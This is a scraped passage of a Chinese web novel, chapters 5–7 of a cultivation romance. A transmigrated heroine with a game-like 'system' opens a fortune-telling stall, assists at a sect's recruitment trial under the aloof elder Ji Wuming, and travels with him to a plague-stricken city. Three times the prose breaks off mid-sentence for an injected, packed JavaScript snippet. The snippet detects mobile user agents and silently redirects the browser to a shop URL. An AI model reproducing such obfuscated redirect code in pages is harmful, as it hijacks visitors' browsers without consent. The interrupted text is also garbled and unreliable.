不过她还是低估了无情道男主的无情程度,果真是无情、无意、无cp,鼻祖真不是白叫的。 他们所在的圣清门乃是各大宗门之首,招收弟子的标准极其严格,弟子个个术法高超、天赋卓绝,天才在这里只是常态。 虽然它是当今天下一流的门派,却鲜少有人想进,只因他们所修为无情道。不管是与任何人,在对事方面,最不能有的便是一个“情”字,也包括亲情和友情。圣清门处事的原则,便是公事公办,绝不能感情用事。而在宗门之中,弟子之间谈情说爱更属大忌。 所以经常有人说:“修个仙还要断情绝爱,怎么不干脆出家得了?” 话虽如此,但圣清门也不是这么好进的。正如方才所说,天才在他们这里根本不稀奇。 而纪无冥从一个无名者,到成长为大名鼎鼎的无情道鼻祖、最年轻的长老、集帅气与实力为一体的师叔,只花了五年时间。年纪轻轻却能在一众天才中脱颖而出,还只花了五年时间,可以说是惊为天人了。 她一直想不通,人家已经是武力值爆表的无情道鼻祖了,你就让他好好修炼不行吗?非加什么感情线?她男朋友要是知道非得骂娘。 对于攻略一个无情道天才鼻祖,从0到100本就是几乎不可 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柳辛歆边跑,边转身回道:“是啊。老伯谢谢你了。” 对方一脸莫名其妙:“谢什么啊?我这不还没开始算吗?” 她急匆匆往断尘山上跑,边跑边在心里暗想:“不是你算,而是我要算。” 说到算卦,谁能有她算得准,看得通透。再厉害的占卜术,也敌不过她一个开天眼的玩家啊。 圣清门的弟子所修皆为无情道,自是清心寡欲,但不代表无欲无求,只要是人那心中难免有不可说的秘密。 所谓秘密就是不可说的事情,那些不可说的事情藏在心里久了,心结也就出现了。这个时候,他们就需要一位能够听他们倾诉,替他们打开心结的人。试问,还有谁比她更适合呢? 且不说辛歆本来就是干这一行的,现在还多了个逆天系统,那她岂不是可以在占卜界横着走? 回到桃林,她连气都来不及喘,脚步不停去树屋找万沭。 还真是想什么来什么。她刚看见树屋,就见万沭提着一篮子青菜正往外走,瞧见她满头大汗,上气不接下气的模样,连忙上前扶住她,温言关心道:“小师妹,可是师叔罚你去跑山了?怎的累成这副模样?” 柳辛歆摇了摇头,在原地缓了两口气,说道:“万,万师兄,我需要你的帮助。” 闻言,万沭立马放下菜篮,正色道:“你说吧。” 柳辛歆道:“万师兄能帮我做个木牌吗?” 万沭歪着头:“小师妹想要什么样的木牌呢?” 她双手并用,连说带画,按着游乐场指示牌的模样给他比划了一遍。 万沭若有所思,点头道:“这个简单。我还以为你要我帮什么重要的事呢。” 柳辛歆嘻嘻笑道:“这个很重要的。那就劳烦师兄了。” 万沭将菜篮子递给她,一脸温和,道:“那这个菜就辛苦师妹去洗了。” 柳辛歆将菜篮子接过,爽快答应:“洗个菜而已,交给我吧。” 她走到桃林右侧的井边,将旁边的木桶扔进井里,打了桶清水上来。微风拂过,林中桃树发出漱漱的声响,落下漫天桃色,有几片花瓣随着她的发丝飘入了木桶里,轻飘飘的浮在水面上。 此情此景,柳辛歆顿感心情舒畅。 5. 攻略计划 断尘山半山腰,桃林入口处,一名弟子举着一块方形木牌左右移动,他的后方还站着一人,时不时指挥两句。 柳辛歆道:“好,就这此处了。” 万沭偏头向后问道:“这次可确定了?” 柳辛歆严肃道:“嗯,确定了。” 话音刚落,“砰”的一声,万沭将木板毫发无伤地嵌进了岩壁里。 木牌被她施了法术,在岩壁上闪闪发光。上面写着:桃林辛理事务所。地点:歆屋。须臾,桃花瓣落,木牌上的字,又变成了:占卜、看相,过去未来什么都能看,一次5文钱,外加心理辅导,不准不要钱。 她看着木牌上的字满意地点了点头,真有街头算命那味儿了。按理来说,应该写情感、事业什么的,但这里可是圣清门,无情道天才的聚集地,他们可能会对前途命运感到迷茫,可不会对情感感到迷茫。 柳辛歆突然道:“不对。” 万沭语气快速又谨慎:“哪里不对?” 她抬手示意对方等等,自己在地上挑挑拣拣,选了颗趁手的大石头,在木牌旁的石壁上画了个大大的箭头。 完事,她将石头随手一抛,拍了拍手,满意道:“这下没问题了。” 闻言,万沭大大的松了口气,方才光选定木牌的位置就花了不少功夫,他手都举酸了。 柳辛歆道:“辛苦万师兄了,我们快些回去吧。想必古清师兄也该等着急了。” 她的话刚说完,古清就从桃林出来了。 古清两手交叉在胸前,皱眉道:“你们真是让我好找啊。这墙上是什么鬼?” 柳辛歆满脸骄傲,道:“辛理事务所,我开的。” 古清念着木牌上的字,转头,质疑道:“你还会这个?莫不是胡乱骗人的吧?” 柳辛歆道:“师兄你说的哪里话,我怎会干这种缺德的事情。” 万沭在一旁看着二人斗嘴,犹豫着要不要插嘴。 古清道:“那你先给我算算,我看看准不准。若是不准,你就趁早关门,也不至于到时候遭人殴打。” 柳辛歆道:“你......!真是多谢师兄关心了。不过现在都这个时辰了,不如我们先回去吃饭?” 万沭紧接道:“小师妹说的有理,先吃饭。” 古清也不急于一时:“可以,那就先吃饭。” 今日古清做得饭菜依旧可口,她又吃了两大碗饭,直到吃撑了才放下筷子。 万沭收拾好碗筷拿去清洗,她和古清二人坐在亭子里吹风。 古清道:“小师妹,这饭也吃了,你是不是该给我算算了。” 柳辛歆整个人躺在亭子的长凳上,背靠着柱子,揉着肚子,悠闲道:“古师兄,想算什么?” 古清道:“这未来之事你就算是算准了,我也不得而知。那我就且问你过去之事吧。”沉思片刻,他道:“你且说说我的身世,这件事情我可从未跟人提起过。” 柳辛歆道:“这个简单。” 说完,她将腿从长凳上放下,一个转身直勾勾的盯着古清,看似在看对方面相,实在疯狂扫描系统字幕。柳辛歆道:“古师兄在家中是最小的一个吧。” 古清不屑道:“是,这也不难猜。” 柳辛歆继续道:“在你上面的是你兄长和阿姐。” 古清点了点头,情绪没多大起伏。 柳辛歆道:“五年前你们到过暮西山,在那里遭遇了血妖,师兄的手背上的伤疤就是那时候留下的吧。” 说到暮西山和血妖时,古清的表情瞬间僵住了,下意识捂住自己的手背,有些震惊道:“你怎么做到的?” 柳辛歆摇摇头,露出一副高深莫测的深沉表情,道:“天机不可泄露。” 古清:“......” 自从上次晨练她被纪无冥抓到打坐时不认真后,她再也不敢胡思乱想了,一直认认真真的坚持到钟声敲响。 今日晨练结束,掌门却没有让他们走,而是起身往前走了几步,其余长老包括纪无冥也站了起来。 掌门霍柒穿着带灰色的白袍,身姿挺拔,开口的声音沉稳、清缓:“在此我有两件事要宣布。第一件事,是去百夭山历练之事。按宗门规定,年满二十的弟子将要进行第一次下山历练。你们有三天的时间准备。到年龄的弟子,稍后到莫离这里报名字。” 掌门朝下方的人群中抬了下下巴,众弟子中有人站了起来,走向了旁边的桌椅,上面摆好了笔墨纸砚。这莫离是霍掌门的大弟子,长相俊逸,行事作风简直和他如出一辙。 柳辛歆内心庆幸,好在她今年十九,还未到历练的年龄。不过,万沭和古清倒是都过了二十。若是二人都去百夭山历练,那桃林岂不是就剩她一个了? 霍掌门继续道:“第二件事,三日后也是圣清门一年一次的招新大会,每位长老需在各自门下调出一到两名弟子以协助试炼。接下来,请长老们选择协助试炼的弟子,要去百夭山历练的弟子到莫离这边。” 霍掌门说第一件事的时候她还有些伤感,再说到第二件事,她又兴奋了起来。 宗门注入新血液,她敢肯定没有人比她更开心的了。刚入门的新弟子,迷茫、懵懂,是最需要有人指导方向的了。比起那些已经磨炼得成熟、稳重的老弟子,还是新鲜、稚嫩的弟子更符合她的胃口。 柳辛歆正自顾窃喜,连前面什么时候空了都不知道。她脸上的笑容还未收起,抬头一看,纪无冥手指抵着脑袋,神态冷漠正盯着她,语气平静道:“柳辛歆,我看你似乎对试炼很感兴趣,那就你去吧。” 这不是废话吗?桃林现在就她一个人了。他自己门下半个徒弟都没有,她不去谁去啊?柳辛歆正色道:“弟子领命。” 说来纪无冥以长老身份在圣清门待了十年,但一直以来都没有收徒的意思。几位长老看他年纪尚轻,便没有提起。其实最主要的原因还是他性子太过于冷淡,还带点凶狠,喜欢独来独往,几乎从不与人交流。就是这么一个性子极差的人,靠着实力收获万千迷妹迷弟,恶劣的性格也被说成了个性,受欢迎程度好到离谱,从此走上人生巅峰。 待长老们选定弟子后,其余没被选中的弟子纷纷离开了冥想台,山顶上就只剩下参加试炼的弟子和下山历练的弟子。 她跟在纪无冥的后面,跟参加试炼的众人汇合。 霍掌门道:“现在御剑下山。” 众弟子:“是。” 柳辛歆有些绝望,她没剑怎么御剑飞行啊!直接跳下去? 见她愣着不动,纪无冥瞥了她一眼,冷语道:“你是想让长老们都在下面等你吗?” 柳辛歆道:“纪师叔,不是弟子故意耽误大家的时间,是前段时间弟子的剑断了,一直还未寻到合适的剑。” 纪无冥一把抓过她的手臂:“这种事情我不问,你就不会自己说吗?” 柳辛歆愣了一下,低头咕哝道:“弟子还不是怕被师叔责罚。” 说话间,他们已经飞到了半空中,她站在纪无冥的前方,被对方紧紧地抓着手臂。 纪无冥的声音随着风从她后上方传来,冰冷的语气夹着凉风吹进她的耳朵里。他道:“你当我是那种不讲理的人吗?” 闻言,柳辛歆翻了个白眼,撇嘴道:“弟子不敢。” 你要是把下个月的禁闭取消,我就相信你是讲理的。 不过片刻功夫,二人就来到了山下。其他弟子也刚到没多久,他们又落在了一个较远的地方,所以没人注意到他们是一起下来的。纪无冥走过去和其余长老站在一起,几人合力将秘境打开后,各自带着自家弟子陆续进到了里面。 试炼的内容一共分为六个部分,分别由六位长老设置关卡。这些都将会在秘境之中进行,而长老们则守在秘境外,通过六面镜子查看对应的关卡,以此观察每位试炼者的表现。只有得到六位长老的全部认可,才算是正式通过考验。但凡有一位长老觉得你不行,你都得走人。最终通过全部试炼留下来的人,可以自行选择要进入哪一个长老门下。 一进去,她就看见了六扇不同颜色的大门,每扇门的颜色都是长老们的代表色。在进入试炼之前,可以自行选择要进入的门,以此来决定试炼的顺序。 她跟着纪无冥走到最后一道银白色的大门,她一只脚刚踏进去就僵住了。她好像想起来里面是什么了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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纪无冥将她送到半山腰后,她只跟对方道了谢,没再多说。根据她这些天的了解,纪无冥此人是最不爱听废话的人,他若不主动找话,切记不可在他面前多话。死缠烂打,胡搅蛮缠,这招对他不管用,反而会适得其反。 她最好是看起来被动些,明里暗里引起对方的好奇,让对方成主动的那一方。她想是这么想的,但执行起来就另说了。 当她走到辛屋时,万沭和古清早已在那里等候。虽然她跟二人相处不过半月,但这些天相处下来他们就如同家人一般,眼下即将分别,她心里多少有些难过。 当她走过去时,二人都一脸严肃,万沭道:“小师妹。” 不知为何,她不想让他们看出她的难过,强行笑了笑,道:“二位师兄找我有事?” 万沭突然望向天空,一脸哀伤,自顾说道:“师姐闭关不出,师父下山未归。三日后我们这一走,桃林可就只剩你一个了。” 古清也叹道:“是啊。你若是得罪了什么人,可没人帮得了你。纪师叔虽然负责看管我们,但依他的性子不关你禁闭就不错了。” 万沭道:“其实到了不得已的时候,关禁闭也未尝是坏事。” 古清道:“师兄你这是什么话,你是觉得师妹一定会惹事吗?” 万沭:“你不这么认为?” 柳辛歆听不下去了,紧急截住二人的对话,心里的那点难过也一扫而空了。她道:“停停停!二位师兄,你们这都要走了,就盼我点好吧。况且,你们不觉得我近来乖巧了许多吗?” 二人互相对视一眼,面露尴尬,似乎都不好说实话。万沭支支吾吾道:“是,是.....那是,往日你可从不与我们一起吃饭。” 古清在一旁疯狂点头,因为想表现得自然些,以至于非常的不自然。 柳辛歆有些失落,说道:“行吧。” 她这段时间的努力算是白费了。不过这事也不能怪他们,要怪只能怪原主是个极端的双面性格。她遇到喜欢的,比如纪无冥,就会拿出一副娇羞、讨好的模样,若是她不喜欢的,根本不屑装样子,难听的话直接往外倒,看不爽的人上去就干,下手毫不留情,还有些残忍。 所以她刚来的那几日为了改变自身形象费了不少功夫。从这几日几人的相处来看,她认为自己成功了。谁知二人表面和她相亲相爱,心底里根本不信任她,还觉得她是装的。 不得不说好人难做啊! 6. 招新试炼 三日后。 虽然前几日柳辛歆与两位师兄产生了信任危机,弄得有些尴尬,不过今日二人走时还是一如往常喊她起床,跟她道别后才下山去。可见二人素质之高、气量之大,虽修无情道,但行有情事。 待二人下山后,系统响起提示音:【魅力值+100。】 她内心备受感动,捂嘴哭泣,真是两位好师兄!这可是她这么多天来第一笔收入,呜呜呜呜。 吃过早饭,柳辛歆急匆匆往桃林外赶,她不能御剑飞行,下山肯定要费些时候。今日这么重要的场合她要是迟到,纪无冥肯定不会放过她的。 柳辛歆跑到拐弯处忘了减速,面前突然出现一道白色的人墙,再想刹车已经来不及了。 纪无冥本来瞧着岩壁上的牌子正瞧得入神,突然听见不远处传来细碎的铃铛声,刚转过身,一个带着体温的小人就已经扑在了他身上。 柳辛歆条件反射般往后躲,看清人后,她急忙道:“纪......弟子失礼了,还请纪师叔恕罪。” 她没看错的话,方才纪无冥好像是在盯着墙上的字看。圣清门门规繁琐、严苛,但可没有哪一条是写着弟子之间不许算命,不许挣外快的。 纪无冥目光犀利毫无温度,言语间带着轻蔑:“你就是靠着这种行骗之事给自己买剑的?” 柳辛歆瞳孔骤缩,露出一副吃惊的表情,一本正经道:“冤枉啊师叔!这里可是圣清门,弟子怎敢行此招摇撞骗之事。” 纪无冥面色如常,眼里没有任何波动:“照你的意思是,你真会给人算命?” 柳辛歆故作为难,小心翼翼说道:“这个......弟子不敢夸大,只是略懂一二罢了。” 纪无冥冷哼一声,语带讥讽:“不敢夸大?你上面不是写着什么都能算吗?” 柳辛歆厚着脸皮道:“我这后面不是还有一句吗。不准不要钱。” 纪无冥脸上微微一怔,半晌无言,似乎找不出这句话的毛病,无奈妥协道:“罢了。赶紧过来,没时间了。” 她“啊”了一声,脑子还有些没反应过来,脚已经朝他走过去了。纪无冥一手抓上她的手臂,将她往剑上带。二人靠得很近,风吹时对方的衣摆轻轻拂过她的后背,弄得她心里痒痒的。 纪无冥竟然是特意来此接她的。 有了前两次的教训,柳辛歆面上不敢表露太多的心思,但看着那张脸,她心中还是忍不住触动。那张脸可是她朝思暮想的人啊。 他们到山下时,前方的空地上已经站满了人,几位长老也都到齐了。底下那些试炼者看起来都不大,个个都带着稚嫩、天真的神情,看起来就十五六岁的模样。 待长老们将秘境打开后,她和其余协助试炼的弟子先行一步进到了秘境之中。她像上次来时一样,走到了最后一道门。 进到里面,她一眼就看到了那面大镜子,当然这次她同样使用了记忆屏蔽器,只要是跟纪无冥在一起,她恨不得每时每刻都用这玩意。 那无良系统偏不让她如意,仿佛不给她找点不痛快就愧对无良这个称号。记忆屏蔽器虽是个永久道具,但它是有时间限制的,用一次只能维持十二个时辰。而且你用了多长时间,冷静期就是多长时间。简而言之,你用了十二个时辰,那么必须要等上十二个时辰才能再次使用它。 方才她看了下试炼者的人数,差不多有一百多位,六个关卡,不知道时间够不够用。她没看过原文,这部分的内容男朋友也没讲过,更气人的是系统说这是与攻略无关的剧情,要解锁需要花费1000魅力值。 如果她知道其他长老的试炼内容没准还能估算一下。但知道大概的时间又能如何呢?她可没有什么防范措施,思来想去,只能自求多福了。 过了大概一炷香的时间,总算有弟子进来了。柳辛歆虽然站在镜子的背面,但神奇的是她能透过镜子,看见面前的人。 只见那名女子左顾右盼,神色慌张,完全没察觉镜子背后有人,也不知道自己要做什么。这个房间里除了这面镜子什么也没有,而往往看似越平常的事物,就越是危险。 用不用出声提醒她一句呢?但转念一想,对方本来就紧张,她这一开口不得给人吓飞?她索性等对方走近镜子时,直接默念出口诀。 “窥心术、镜中人、鉴明心。” 霎时间,镜子发出夺目的金光,那名女子两眼一闭,“扑通”一声,倒头就躺在了地上。 想起之前宋长荣从镜子里面看她记忆的时候,她实在是有些好奇这里面到底是怎样的。反正这个阵法已经成功启动了,她索性到前面去看看。 她三两下走到镜子前,什么都来不及看清,房间里登时响起纪无冥冷厉的声音:“柳辛歆!让开!” 柳辛歆一个机灵,又跳回了自己的位置。这回又用上投影仪了? 那名女子从地上醒来后,神色游离,还不等她理清思绪,地上已经开了个大黑洞,尖叫声在房间里回响。 柳辛歆莫名地对她产生一丝同情。 经过十几二十次的施术,她已经逐渐感到乏力了。等送走了不知道多少人后,她直接一屁股坐在地上,左右是对着镜子念口诀,站着坐着有什么区别。 想来此前纪无冥对她施术的时候不就是坐着的吗?她怎么这个时候才想起来,真要被自己蠢哭了。主要还是第一次当监考老师,多多少少有点紧张,场面太过于严肃了,她没想起来也正常。 房间内的门再次打开,这次进来的是一名男子,面相清俊,眉眼间透着锐意,进门的一瞬,柳辛歆便能感觉到对方似乎知道她在这里。 那男子逐渐靠近面前的镜子,走路时坚定又谨慎,目光锐利如剑,死死盯着面前的镜子,似乎是在透过镜子盯着她。 正当她准备念诀时,那男子突然一个转身,转到了镜子后面。而此时,她正坐在地上,一腿伸直,一腿弯曲,手肘抵在膝盖上,手撑着脑袋,吊儿郎当,十分的不成体统。 只听他道:“啊,果真有人。” 为了强行挽回一下圣清门弟子的形象,她若无其事地变成了打坐的姿势。 那名男子拱手道:“晚辈有礼了。” 柳辛歆朝他点了下头,看了眼他的名字,明渊。她好像有点印象,那不是纪无冥的小迷弟吗! 迷弟是真迷弟,但大结局男主被围剿时,他也是真上。 明渊道:“晚辈斗胆一问,这可是传说中的明心镜?” 柳辛歆平静道:“正是。你若是准备好了就快些回去站好。” 耽误时间到时候倒霉的可是她。 明渊连忙点头说自己准备好了。他回到镜子前面后,又说了句:“真有意思。” 柳辛歆无奈摇了摇头,还是年轻了。如果他有着和她一样的经历就不会说出这种话了。只会整日提心吊胆,连晚上睡觉都怕有人对她使用明心镜。 在她念出口诀后,又是和之前一样的昏迷、清醒,然后被突然送走,一声尖叫后便到了下一个地方。 不知道是不是明渊开了个好头,她发现后面的弟子质量都提高了不少。每个人在踏进门的一瞬间都开始警惕起来,死死地盯着面前的镜子,躲在后面的她被盯着心里发毛。兴许是他们在前面几位长老那里都吃了不少苦头,这才格外警惕。 当她送走到不知道多少位的仁兄后,纪无冥终于告诉她试炼结束了。她现在只觉得又饿又累又困,现在非常想吃一顿古清做的饭,然后再美滋滋地躺在床上睡觉。遗憾的是,古清不在,已经没人给她做饭吃了。 从秘境出来时,她麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17589376|205419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木地走到纪无冥身边,没什么力气的喊了声师叔。纪无冥冷眼瞥了她一眼,道:“怎么偷懒还这般狼狈?” 柳辛歆:“我......” 他是有透视眼吗?在哪里都瞒不过他的眼睛。她坐着就是偷懒了?一百多号人,她总不能真一直站着吧。他自己舒舒服服的坐在外面,还不让别人舒服了?不过眼下她也没力气跟他争辩了,索性不去理他。 试炼结束后,场上就只剩十二个人了。明渊毫无悬念也在其中。 掌门在讲话时,她怀疑明渊根本没在听,眼睛时不时地就往纪无冥身上看。纪无冥似乎也察觉到了,一脸厌恶地转开了脸。 明渊一脸难过,低下头去,看起来很委屈。 霍掌门站在石阶上,昂首挺胸,神态自若,语气庄严不可侵犯:“按圣清门招生规定,通过试炼者,可自行选择要进入的长老门下。明渊,就从你开始吧。” 明渊猛地抬起头,面上藏不住的惊喜,转头往他们这边看了一眼。不知是过于激动还是紧张,他虽然拼命压着声音,说话时的语气还是不可控的抖了一下。明渊道:“弟子想进入七长老门下。” 几位长老几乎同时望向了纪无冥,霍掌门有些为难道:“这.....” 纪无冥看都没往那边看一眼,冷冷道:“我不收徒。” 话音刚落,明渊突然抬手指向旁边的柳辛歆,有些激动道:“那她呢?她不是您的徒弟吗?” 闻言,所有人除了纪无冥都开始望向她。 柳辛歆心里叫苦,这好端端的提她干嘛!眼见没人说话,她强装镇定道:“明渊师弟你误会了,我是五长老门下的弟子。我师父现下不在断尘山,纪师叔只是代为管教。” 明渊立马道:“那我要入五长老门下。” 此时,霍掌门出声道:“按照圣清门门规,没有参与招新试炼的长老,无权招收弟子。” 此话一出,明渊面上肉眼可见的沮丧。不止是他,其他试炼者也一样,一个个垂头丧气的。合着他们这一趟都是为纪无冥来的? 霍掌门替他师弟找补,道:“此次试炼七长老只是来帮忙的,他年龄尚轻,还未有过收徒经验,是以不敢轻易收你。除了七长老和五长老,你再另选一位长老吧。” 在众长老中,修为最高的无疑是掌门霍柒,门下弟子二百二十一名。二长老宁倾玉少言寡语,门下弟子九十名。在长老中,只有她和五长老是女子。三长老严启刻薄严厉,门下弟子一百一十名,弟子们对他是又爱又恨。四长老印良斯文儒雅,门下弟子七十九名,很受弟子们喜爱,但却没有争先恐后去他门下的情况。五长老尤璃为人飒爽,修为也高,因常年不在山上的缘故,门下弟子仅仅四名。六长老江鹤遇沉稳、踏实,却是存在感最低的一个,门下弟子只有五十八名。七长老纪无冥是长老中最年轻也最有天赋的一个,无疑也是最受欢迎的一个,可惜他不收徒。 若是纪无冥收徒,得有多少人争着抢着要进他门下啊。谁不想要一个又帅,修为又高的师父?性格冷淡什么的,在实力和帅脸面前根本不值一提。 明渊经过一番权衡,去到了二长老门下。其他试炼者也陆陆续续做出了选择。 选师门环节结束后,老弟子就带着新弟子去熟悉环境,长老们也各自离开。很快,山下就只剩她和纪无冥两人了。 纪无冥抬手在面前轻轻一划,空气裂开一道口子,一柄银白的长剑漂浮在空中。此前光往上踩,她都还没好好看过这柄剑。 只见银色的剑柄淡雅且精致,剑身在阳光下透着寒光,看起来冷冽、锐利,如同他的主人一般不可一世。纪无冥突然将剑收了起来,半眯着眼,警惕道:“你看上了我的剑?” 看来她真的很有必要拥有一把自己的剑了。 7. 男主任务 柳辛歆真觉得纪无冥是不是有某方面的妄想症,整日怀疑这个怀疑那个的。他的剑看起来确实不错,但她还不至于有抢的念头吧! 经过跟纪无冥多次的打交道,她对于及时认错已经到了张口就来的地步,根本无需思考。柳辛歆道:“弟子不敢。师叔的这柄剑乃是上乘宝剑,平日里可不多见,弟子只是没忍住多看了两眼。” 纪无冥嘴上毫不留情,直言道:“你踩在上面三次,现在才注意到吗?” 柳辛歆道:“前几次时间紧急,弟子没来得及注意。” 她想起来好像上次她也是用的这个借口。虽说确实是借口,但不可否认的是这些都是事实啊。再说了,她也没有出门带现金的习惯。 不过好在纪无冥也不想过多讨论这件事情,只是朝她发出了一声耐人寻味的冷笑,道:“看也看够了,可以走了吗?” 柳辛歆刚要点头答应,好死不死偏偏这个时候下方传来一声悠长的悲鸣。她面上略带窘迫,看看天又看看地,发现实在没有可以躲的地方,只能干笑道:“现在都这个时候了,师叔我们一起去河巫镇吃个饭怎么样?” 说到河巫镇,纪无冥瞬间想起了什么,面色阴沉地盯着她。 不用猜,他一定是想起了上次买糖葫芦被发现的事情,她这个时候必须强制失忆。纪无冥十分在意这件事,万一激怒了他,她不但饭吃不成,还得自己爬上山。柳辛歆道:“我记得镇上有一家二丫饭馆味道好极了。不知师叔意下如何?” 纪无冥一脸冷漠,半晌无言,就当她以为没戏的时候,对方衣摆一甩,抬脚往外面走,道:“走吧。” 柳辛歆顿时松了口气,跟这种脾气捉摸不定的人说话真不是一般的费劲。 饭馆内,她瞧着纪无冥坐的笔直,一副大驾光临来视察的模样,肯定是不会点菜的。于是她就点了两荤两素,辣和不辣各一半。 等菜上齐后,柳辛歆道:“这些菜都是店里的招牌菜,不知可合师叔胃口?” 纪无冥尝了一块放辣椒的鸡肉,抬眼看她时眸光一闪,语气平静道:“能吃。” 不知为何,纪无冥表情几乎没有变化,但她就是能感觉出他喜欢吃辣。 如果说第一次只是她的猜测,那么接下来那两盘迅速消失的辣菜就直接印证了她的猜测。纪无冥确实喜欢吃辣,而且特别能吃,这点跟她男朋友一模一样。但仅凭这一点也证明不了什么,他喜欢吃糖葫芦,男朋友却从不吃甜食。 这一顿饭纪无冥是吃满足了,她却觉得索然无味,夹到什么就往嘴里放,眼睛没离开过对方超过三秒。 纪无冥吃到一半察觉不对劲,抬眼扫了眼对面的人,发现她吃饭的速度极快,好像还时不时观察他。他不明白为什么吃个饭她都要盯着自己看,眼睛扫过眼前不剩多少的菜肴,他才恍然大悟,于是放慢了夹菜的速度。 柳辛歆也察觉到了异常,心想她是不是太明显了?一时没注意筷子上夹了什么菜,放进嘴里嚼了几下,辣味瞬间蔓延整个口腔,脸色发烫。她立马将嘴里的鸡肉吐进了碗里,啪的放下碗筷,这个时候她可顾不上什么形象了。拿起水壶就往嘴里灌,喝完一壶水还是觉得辣,她又开始扒拉碗里的米饭。 纪无冥在一旁看得愣住了,反应过来后,又替她要了壶茶水。柳辛歆喝光了整整两壶茶水嘴里的辣味才去了大半,她神色恍惚的呆坐着,嘴唇发麻,额前的头发都被汗水打湿了,脸上还挂着两道泪痕。 她真是没想到,柳辛歆竟然和自己一样不能吃辣。 纪无冥看着她被辣哭的可怜模样,皱眉不解道:“你不能吃辣为何还要点?” 柳辛歆擦了擦脸上被辣出的两道泪痕,声音突然变得有些哽咽,红着嘴唇,委屈巴巴道:“我是不能吃,但师叔不是能吃吗?” 纪无冥神色一滞,盯着她心情复杂,强压着内心想使用明心镜的冲动。 因为误吃的那块鸡肉,她后面也吃不下去了。纪无冥结账后,二人就回断尘山了。 到半山腰后,柳辛歆道:“今日多谢师叔慷慨请客还送弟子回家,弟子感激不尽。师叔请慢走。” 她的客套话都说完了,纪无冥却好似没听见,表情严肃,自顾说道:“明日我要去南方一趟,晨练你一个人也要认真。” 柳辛歆愣了片刻,问道:“明日就走吗?” 她记得好像在系统里见过,纪无冥确实有一栏单独的任务线。缺牙齿告诉她,这一栏剧情属于男主的任务进度,帮或不帮凭她个人意愿。 说得倒好听。她不帮还怎么推动剧情?怎么提高那三项离谱到家的数值?她总不能什么都不做,就等着男主自我攻略吧! 纪无冥道:“南方瘟疫横行,有人送信至圣清门说此事可能与血妖有关,事态紧急,刻不容缓。” 纪无冥这一走,还不知道什么时候回来。他们的关系这才进步了一点点,他这一走可就白费了。若是跟着他去,事务所怎么办?不跟着他去,光凭那点新入门的弟子也未必能赚到这么多魅力值,倒不如跟着他去赌一把,没准还能加好感度呢。 心里反复权衡后,柳辛歆试探问道:“师叔可需要弟子协助?” 纪无冥道:“你很想去?” 柳辛歆:“这可是难得的历练机会,弟子自是想去。” 纪无冥:“那就一起去吧。” 这么快就答应了?这不对吧?她还想着纪无冥若是不同意,自己就偷偷跟着去呢。 纪无冥似是看出了她的心思,眯着眼盯着她,道:“我能同意你很吃惊?还是说你本来是打算跟踪我去的?” !!!他到底怎么看出来的?到底谁是学心理的啊? 柳辛歆避重就轻道:“弟子确实没想到师叔竟然能同意。” 纪无冥道:“你左右是要偷跟着来的,倒不如一起来了省事。” 柳辛歆怀疑对方是故意提醒她上次跟踪的事,她装作听不懂,道:“师叔何出此言?” 纪无冥:“直觉。” 他这直觉堪比读心术,胜过女人的第六感,赛过心理医生。让她这个正经心理实习生都为之羞愧。 纪无冥一走,她立马换出小助手,道:“缺牙齿,你此前说过纪无冥不存在魂穿是吗?” 缺牙齿:【是的,宿主。】 柳辛歆:“他还是原文的正牌男主纪无冥?” 缺牙齿:【如假包换。】 纪无冥对她的态度转变得太快了。这对她来说是个好事,但总觉得哪里不对劲。 次日一早,他们下山时,正巧遇到去参加晨练的明渊。 明渊对二人分别行过礼后,问道:“七长老和师姐一大早这是要去何处?不去参加晨练吗?” 纪无冥冷着脸道:“与你无关。” 明渊微微一愣,有些难堪,道:“是弟子多嘴了。” 纪无冥其实只是想实话实说,这是他的事情,你不用多管,但二人心中所想的与你无关却是大不相同。 她看着明渊落寞的背影,能猜到他有多难过。一大清早突然遇到自己的偶像,好不容易鼓起勇气上去打招呼,结果却被偶像冷语相待,这谁能受得住。 明渊难过是必然的,但她听到后却是两眼放光,这下对味儿了! 纪无冥带着她御剑,不出半日他们就到了南方的寥城。 进到城中,只见大街上行人稀少,每个人都身穿素衣头戴白布,脸上都还蒙着面,人与人之间离得很远,似乎是怕被传染。 她和纪无冥四目相对,互相心领神会,拿出手帕捂住口鼻后继续往里面走。大概走过了五六间房屋,他们在一家医馆前停了下来。 医馆的门是开着的,他们不用进去就能看见里面的全部情况。只见医馆内躺满了人,那些人的头上都长满了白发,有气无力的躺在地上,但皮肤却格外年轻。这种非自然的现象,除了妖作祟确实没有更好的解释了。 了解了大致的情况后,二人准备先行离开。 医馆内突然冲出一个身形,一名蒙着面的人跪在了他们的面前,哭喊道:“道长!道长!你一定要救救我们啊!城中因为这场瘟疫,已经死了不少人了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17589377|205419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !现在只有你们能救我们了啊!” 柳辛歆急忙弯下腰去扶他:“老伯你先起来。” 老伯跪着不起,嘴里不停地说着“求求你们,救救我们吧!”。周围的行人注意到了这边的动静,纷纷聚了过来,将他们围在了中间,朝着他们哭喊着救命。不知情的还以为是给他们哭丧呢。 